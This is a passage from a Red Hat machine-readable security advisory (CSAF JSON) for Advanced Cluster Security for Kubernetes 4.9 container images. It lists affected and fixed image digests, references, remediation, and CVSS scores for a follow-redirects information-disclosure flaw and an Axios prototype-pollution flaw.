"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "RHBZ#2460297",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460297"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
}
],
"release_date": "2026-04-21T19:59:59.759000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects"
},
{
"cve": "CVE-2026-42033",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T18:01:20.937507+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461607"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: HTTP Transport Hijacking via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
